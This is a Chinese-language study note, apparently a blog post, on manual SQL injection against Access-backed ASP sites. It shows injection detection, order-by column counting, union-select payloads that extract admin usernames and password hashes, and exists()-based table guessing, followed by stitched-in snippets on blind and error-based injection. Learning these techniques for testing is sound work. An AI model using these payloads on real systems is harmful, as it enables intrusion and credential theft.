開局絮叨:幾經波折,開始靜下心來學習。並且申請了知乎專欄,做一些日常學習整理的筆記和一些技巧。留給未來的我,和懂的欣賞的人閱讀。做筆記的確是個好習慣,因為在全世界上萬人中也就有其中那麼些少數人能擁有過目不忘的本領。加油!路還長。
0x1 sql注入篇-access注入
當初接觸這個坑的時候就是從注入 and 1=1 明小子 開始的。今天深入的了解下。
所謂的sql注入就是利用sql命令插入到web表單,達到欺騙伺服器執行命令的乙個過程。
0x2 常見的資料庫都有哪些? oracle mssql server sybase db2 mysql access
0x3 存在sql注入又能怎麼樣? 如果**存在sql注入漏洞,那麼**資料庫中的資料可以任由攻擊者檢視和修改。檢視管理員表獲取賬號密碼最終獲得管理員許可權。
0x4 sql注入產生條件
1.必須有引數傳遞
2.引數值帶入資料庫查詢並執行 and 1=1 select * from product where id=1513 and 1=1 真且真=真 返回正常
and 1=11 select * from product where id=1513 and 1=11 真且假=假 返回錯誤
數學邏輯運算子:或 且 非(or and xor) 真且真=真 假且真=假 真或真=真 真或假=真 access資料庫的結構
0x5 存在sql注入然後該怎麼辦?
1、判斷注入
2、猜解表名
3、猜解列名
4、猜解資料
可以使用sql利用工具:sqlmap 明小子 穿山甲 阿d
我這裡使用手工
access sql注入復現 為了更清楚的了解,我本地搭建了個asp指令碼的** 主要是方便and防止被查水表
網域名稱:****中id=xx 這類帶有引數賦值的url
比如:網域名稱:
檔案目錄:bachang
檔名:yenewsinfo.asp
引數id
值79我們在 在後面加乙個單引號
microsoft jet database engine 錯誤 '80040e14'
字串的語法錯誤 在查詢表示式 'id=49'' 中。
/showdetail.asp,行8
從這個錯誤提示我們能看出下面幾點:
1.**使用的是access資料庫,通過jet引擎連線資料庫,而不是通過odbc。
2.程式沒有判斷客戶端提交的資料是否符合程式要求。
3.該sql語句所查詢的表中有一名為id的字段。
從上面的例子我們可以知道,sql注入的原理,就是從客戶端提交特殊的**,從而收集程式及伺服器的資訊,從而獲取你想到得到的資料。
聯合查詢
第一步 判斷注入:
頁面返回正確
頁面返回錯誤,說明存在注入
查詢字段
order by 6=錯誤
order by 5=正確
那麼就說明存在5個字段
存在5個字段
union select 1,2,3,4,5 from user
確定存在user表
在2這裡輸入 password
成功爆出密碼md5加密值
爆賬號 username
逐字猜解
1.查表名: and exists(select * from 表名)
返回錯誤
返回正確
說明存在user表
2.查列名: and exists(select 列名 from user)
返回錯誤
/bachang/xn-1-1/newsinfo.asp?id=51 and exists(select username from user)
返回正確
說明存在usernamen表。
SQL注入之access盲注
一般用於沒有回顯位,無法直接回顯資料庫內容。有兩種語句方法 order by 1 回顯資料庫錯誤,既不可用回顯注入。and 1 1 返回正常 and 1 2 返回錯誤 and exists select from admin 猜的 返回正常既存在,報錯既不存在 and exists select u...
SQL注入高階篇 SQL盲注(基於報錯)
基於報錯注入 由於rand和group by的衝突,即rand 是不可以作為order by的條件字段,同理也不可以為group by的條件字段。floor rand 0 2 獲取不確定又重複的值造成mysql的錯誤 floor 向下取整,只保留整數部分,rand 0 0 1 當我們在掌握了盲注的技...
sql注入 盲注
一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...